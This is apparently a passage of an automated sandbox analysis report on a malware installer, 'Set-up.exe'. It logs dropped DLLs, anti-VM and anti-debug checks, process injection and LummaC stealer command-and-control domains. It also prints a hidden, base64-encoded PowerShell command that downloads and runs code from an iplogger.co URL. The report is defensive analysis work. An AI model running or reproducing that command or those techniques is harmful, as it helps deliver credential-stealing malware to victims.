Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Modern.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialDesign.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PixelartIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FileIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Microns.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.VaadinIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.SimpleIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Material.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\starksoft.aspen.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.EvaIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Octicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignColors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BootstrapIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FontAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Entypo.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Aero.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Unicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Coolicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Sensors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontisto.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\System.CodeDom.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontaudio.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Zondicons.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_6-1470

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	API coverage: 0.0 %
Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	API coverage: 0.4 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2288	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2940	Thread sleep count: 1115 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3712	Thread sleep count: 687 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3688	Thread sleep count: 151 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4628	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4496	Thread sleep count: 3689 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6408	Thread sleep count: 6127 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6988	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2384	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe TID: 4824	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\SearchIndexer.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: *VMware, https://myvmware.workspaceair.com/+
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: QEMU, https://wiki.qemu.org/Logo
Source: SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: QEMU, https://wiki.qemu.org/LogoC
Source: SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: SearchIndexer.exe, 0000000C.00000002.2284299129.00000000009BF000.00000004.00000020.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284299129.00000000009F2000.00000004.00000020.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000003.2142259507.00000000009F2000.00000004.00000020.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000003.2149100922.00000000009F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: Set-up.exe, 00000006.00000002.1937473883.000000006CCC8000.00000008.00000001.01000000.0000000A.sdmp	Binary or memory string: l.?AVQEmulationPaintEngine@@
Source: SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: *VMware, https://myvmware.workspaceair.com/
Source: powershell.exe, 00000004.00000002.1832052138.000001FE33C63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Set-up.exe, 00000006.00000002.1937473883.000000006CCC8000.00000008.00000001.01000000.0000000A.sdmp	Binary or memory string: .?AVQEmulationPaintEngine@@

Source: C:\Windows\SysWOW64\SearchIndexer.exe

API call chain: ExitProcess graph end node

graph_12-13622

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\SearchIndexer.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\SearchIndexer.exe

Code function: 12_2_00366070 LdrInitializeThunk,

12_2_00366070

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe

Code function: 6_2_6CA5B4E4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

6_2_6CA5B4E4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe

Code function: 6_2_6CA5B4E4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

6_2_6CA5B4E4

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_6724.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6724, type: MEMORYSTR

Encrypted powershell cmdline option found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded powershell -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded powershell -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content"			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	NtProtectVirtualMemory: Direct from: 0x77457B2E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	NtQuerySystemInformation: Direct from: 0x6FE02914	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	NtQuerySystemInformation: Direct from: 0x6C5B3C2B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	NtProtectVirtualMemory: Direct from: 0x6FE02C6C	Jump to behavior

LummaC encrypted strings found

Source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: caffegclasiqwp.shop
Source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stamppreewntnq.shop
Source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stagedchheiqwo.shop
Source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: millyscroqwp.shop
Source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: evoliutwoqm.shop
Source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: condedqpwqm.shop
Source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: traineiwnqo.shop
Source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: locatedblsoqp.shop
Source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bassicnuadnwi.shop

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe

Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\SearchIndexer.exe base: B2B300	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\SearchIndexer.exe base: 508008	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\SearchIndexer.exe base: 330000	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\file\Set-up.exe "C:\Users\user\AppData\Local\Temp\file\Set-up.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\SearchIndexer.exe C:\Windows\SysWOW64\SearchIndexer.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w hidden -ec cabvahcazqbyahmaaablagwabaagac0avwagaegaaqbkagqazqbuacaalqbjacaaigbpaguaeaagacgaaqb3ahiaiaboahqadabwahmaogavac8aaqbwagwabwbnagcazqbyac4aywbvac8amgboadqaqwbnaduaiaatafuacwblaeiayqbzagkaywbqageacgbzagkabgbnackalgbdag8abgb0aguabgb0acia
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w hidden -ec cabvahcazqbyahmaaablagwabaagac0avwagaegaaqbkagqazqbuacaalqbjacaaigbpaguaeaagacgaaqb3ahiaiaboahqadabwahmaogavac8aaqbwagwabwbnagcazqbyac4aywbvac8amgboadqaqwbnaduaiaatafuacwblaeiayqbzagkaywbqageacgbzagkabgbnackalgbdag8abgb0aguabgb0acia			Jump to behavior

Source: Set-up.exe, 00000006.00000000.1796200865.0000000000401000.00000020.00000001.01000000.00000009.sdmp

Binary or memory string: ProgmanU

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
